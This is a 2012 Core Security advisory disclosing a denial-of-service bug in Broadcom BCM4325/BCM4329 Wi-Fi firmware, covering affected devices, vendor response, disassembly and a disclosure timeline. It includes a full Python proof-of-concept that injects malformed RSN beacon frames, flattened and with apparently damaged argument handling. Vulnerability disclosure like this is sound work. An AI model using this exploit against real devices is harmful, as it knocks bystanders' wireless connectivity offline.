1. Advisory Information
Title: Broadcom DoS on BCM4325 and BCM4329 devices
Advisory ID: CORE-2012-0718
Advisory URL: http://www.coresecurity.com/content/broadcom-input-validation-BCM4325-BCM4329
Date published: 2012-10-23
Date of last update: 2012-10-23
Vendors contacted: Broadcom Corporation
Release mode: User release
2. Vulnerability Information
3. Vulnerability Description
An out-of-bounds read error condition exists in Broadcom's BCM4325 and BCM4329 combo solutions firmware. This error can be leveraged to denial of service attack, and possibly information disclosure. An attacker can send a RSN (802.11i) information element, which causes the Wi-Fi NIC to stop responding.
4. Vulnerable packages
Products containing BCM4325 and BCM4329 chipsets:
- Apple iPhone 3GS
- Apple iPod 2G
- HTC Touch Pro 2
- HTC Droid Incredible
- Samsung Spica
- Acer Liquid
- Motorola Devour
- Ford Edge (yes, it's a car)
- Apple iPhone 4
- Apple iPhone 4 Verizon
- Apple iPod 3G
- Apple iPad Wi-Fi
- Apple iPad 3G
- Apple iPad 2
- Apple Tv 2G
- Motorola Xoom
- Motorola Droid X2
- Motorola Atrix
- Samsung Galaxy Tab
- Samsung Galaxy S 4G
- Samsung Nexus S
- Samsung Stratosphere
- Samsung Fascinate
- HTC Nexus One
- HTC Evo 4G
- HTC ThunderBolt
- HTC Droid Incredible 2
- LG Revolution
- Sony Ericsson Xperia Play
- Pantech Breakout
- Nokia Lumina 800
- Kyocera Echo
- Asus Transformer Prime
- Malata ZPad
5. Non-vulnerable packages
Vendor notifies that the following products are not subject to the DoS issue:
- Broadcom's current generation Mobility WLAN products, e.g., BCM4330, BCM4334, BCM43241;
- Broadcom's products for the PC and Media market, e.g., BCM4313, BCM43142, BCM43224, BCM43228, BCM4331, BCM43236, BCM4360;
- Broadcom's Access Point WLAN devices and products, e.g., BCM4718, BCM4706+4331;
6. Vendor Information, Solutions and Workarounds
Broadcom's official response:
"CORE Security Technologies has identified a potential Denial-of-Service (DoS) vulnerability in certain older Broadcom Wi-Fi chips, specifically the BCM4325 and BCM4329. Other Broadcom chips are not affected. This DoS issue identified by CORE Security Technologies, which would require significant technical expertise to mount, could cause certain consumer electronics devices containing these chips to experience a transient WLAN service interruption as long as the DoS is active. During the service interruption, other phone/tablet features would be unaffected. The DoS issue does not in any way compromise the security of users' data. Broadcom has a patch available that addresses the issue and makes devices that include the BCM4325 and BCM4329 immune to a potential attack. Customers are accepting the patch on a case by case basis, recognizing that most affected devices are out of service. Broadcom has issued a patch that can make devices using the BCM4325 and BCM4329 chips immune to the issue as well. Broadcom has been working with our customers providing information and fixes as required and will continue doing so in response to address security and performance issues that may be identified."
This vulnerability was discovered by Andres Blanco. The Proof of Concept and additional research was made by Andres Blanco and Matias Eissler from Core Impact team. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.
Core Advisories Team would also like to thank CERT Coordination Center  for their assistance during the vulnerability reporting process.
8. Technical Description / Proof of Concept Code
00008E72 08 EB 8A 03 ADD.W R3, R8, R10,LSL#2 ; auth_suite_count_ptr + auth_suite_count * 4 00008E76 9B 78 LDRB R3, [R3,#2] ; out-of-bounds read.
0x00008E72 the register
R8 contains the address of the RSN information element, where "authentication suite count" begins. Register
R10 contains the 2-byte unsigned value of the "authentication suite count" field, which can be controlled by an attacker. This value is multiplied by 4 (shifted left 2 bits) because the size of authentication suite components is 4 bytes (3 bytes OUI and 1 byte authentication suite) and is added to the authentication suite pointer. Finally, a
LoadByte instruction attempts to load a byte from the resulting address +2 bytes (the size of the authentication suite counter) with insufficient validation, resulting in an out-of-bounds read error.
8.1. Proof of Concept
------------------------- poc.py ------------------------- #!/usr/bin/env python import sys import time import struct import PyLorcon2 def beaconFrameGenerator(): sequence = 0 while(1): sequence = sequence % 4096 # Frame Control frame = '\x80' # Version: 0 - Type: Managment - Subtype: Beacon frame += '\x00' # Flags: 0 frame += '\x00\x00' # Duration: 0 frame += '\xff\xff\xff\xff\xff\xff' # Destination: ff:ff:ff:ff:ff:ff frame += '\x00\x00\x00\x15\xde\xad' # Source: 00:00:00:15:de:ad frame += '\x00\x00\x00\x15\xde\xad' # BSSID: 00:00:00:15:de:ad frame += struct.pack('H', sequence) # Fragment: 0 - Sequenence: part of the generator # Frame Body frame += struct.pack('Q', time.time()) # Timestamp frame += '\x64\x00' # Beacon Interval: 0.102400 seconds frame += '\x11\x04' # Capability Information: ESS, Privacy, Short Slot time # Information Elements # SSID: buggy frame += '\x00\x05buggy' # Supported Rates: 1,2,5.5,11,18,24,36,54 frame += '\x01\x08\x82\x84\x8b\x96\x24\x30\x48\x6c' # DS Parameter Set: 6 frame += '\x03\x01\x06' # RSN IE frame += '\x30' # ID: 48 frame += '\x14' # Size: 20 frame += '\x01\x00' # Version: 1 frame += '\x00\x0f\xac\x04' # Group cipher suite: TKIP frame += '\x01\x00' # Pairwise cipher suite count: 1 frame += '\x00\x0f\xac\x00' # Pairwise cipher suite 1: TKIP frame += '\xff\xff' # Authentication suites count: 65535 frame += '\x00\x0f\xac\x02' # Pairwise authentication suite 2: PSK frame += '\x00\x00' sequence += 1 yield frame if __name__ == "__main__": if len(sys.argv) != 2: print "Usage:" print "\t%s <wireless interface>" % sys.argv sys.exit(-1) iface = sys.argv context = PyLorcon2.Context(iface) context.open_injmon() generator = beaconFrameGenerator() for i in range(10000): frame = generator.next() time.sleep(0.100) context.send_bytes(frame)
9. Report Timeline
- 2012-08-08: Core sends an initial notification to CERT Coordination Center including a draft advisory describing the bug and the vendor's contact information.
- 2012-08-13: Core forwards the initial contact email due to lack of response from CERT.
- 2012-08-14: CERT Coordination Center acknowledges reception of the advisory.
- 2012-08-20: CERT asks if a CVE number was assigned to this vulnerability and the advisory publication date.
- 2012-08-21: Core notifies that CVE-2012-2619 was assigned to this vulnerability and the tentative publication date is set for Oct 23rd, 2012.
- 2012-08-22: CERT team notifies that they have forwarded the report to Apple, HTC, Motorola, Sony, Nokia, Samsung and Broadcom. CERT also notifies that they are trying to find a point of contact for Acer, Ford, Pantech, Kyocera, Malata, Asus and LGE.
- 2012-08-23: Broadcom notifies that they have received notice of a potential vulnerability and asks to arrange a conference call with the reporter and Broadcom engineers.
- 2012-08-24: Core notifies vendor that all interactions between Broadcom/CERTs and Core Advisories Team will be via email only, all interactions will be tracked and included in the timeline section of the final report, and no conference call will be arranged. Core also asks to clarify if:
- the reported vulnerability could be reproduced by Broadcom engineers,
- vendor agrees the tentative publication date 2012-Oct-23.
- 2012-09-07: CERT notifies Core that they have contacted several affected vendors:
- HTC replied that they have not been able to reproduce the issue in their lab.
- Pantech and Acer were contacted but they do not have any encrypted communication channel to send the vulnerability details. CERT is waiting for that before sending details.
- 2012-09-10: CERT notifies that they have tried to set up an encrypted communication with Acer, Ford, Pantech, Kyocera and Malata but have not received confirmation. CERT also notifies that they will discontinue the attempts to establish communication with them for this vulnerability.
- 2012-09-12: Core notifies CERT that the tentative publication date Oct 23rd still stands and asks CERT if most affected vendors will be ready for the public advisory release of this vulnerability. Core also notifies that vendor did not provide the requested information requested on [2012-08-24]
- 2012-09-13: CERT notifies that Broadcom is trying to contact Core about this vulnerability and nobody from Core responded to their request to setup a conference call.
- 2012-09-13: Core notifies both CERT and vendor that the Advisories Team does not provide conference calls but that all interactions will be tracked via email and included in the final report. Core also notifies that vendor cooperation is needed in order to keep this process coordinated. If vendor refuses to provide the requested information the advisory will be released tagged as 'user release'. No reply received from Broadcom.
- 2012-10-02: CERT notifies that HTC stating Broadcom has provided them with a patch. CERT also notifies that they have not received an official response from Broadcom. Besides HTC, all the other contacted vendors have been silent about this issue so far.
- 2012-10-04: Core notifies that vendor ignored last emails and the advisory will be release tagged as "user release" in Oct 23rd.
- 2012-10-23: CERT sends the vulnerability note draft they plan to publish today. That note includes the Broadcom's official response [Sec. 6] and a list of non-affected versions [Sec. 5].
- 2012-10-23: Advisory CORE-2012-0718 published.
 Lorcon official web site. https://code.google.com/p/lorcon
 PyLorcon2 wrapper. http://code.google.com/p/pylorcon2
 PyLorcon2 building and installing. http://code.google.com/p/pylorcon2/wiki/BuildingPyLorcon2
11. About CoreLabs
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.
12. About Core Security Technologies
Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.
The contents of this advisory are copyright (c) 2012 Core Security Technologies and (c) 2012 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
14. PGP/GPG Keys
This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at /legacy/files/attachments/core_security_advisories.asc.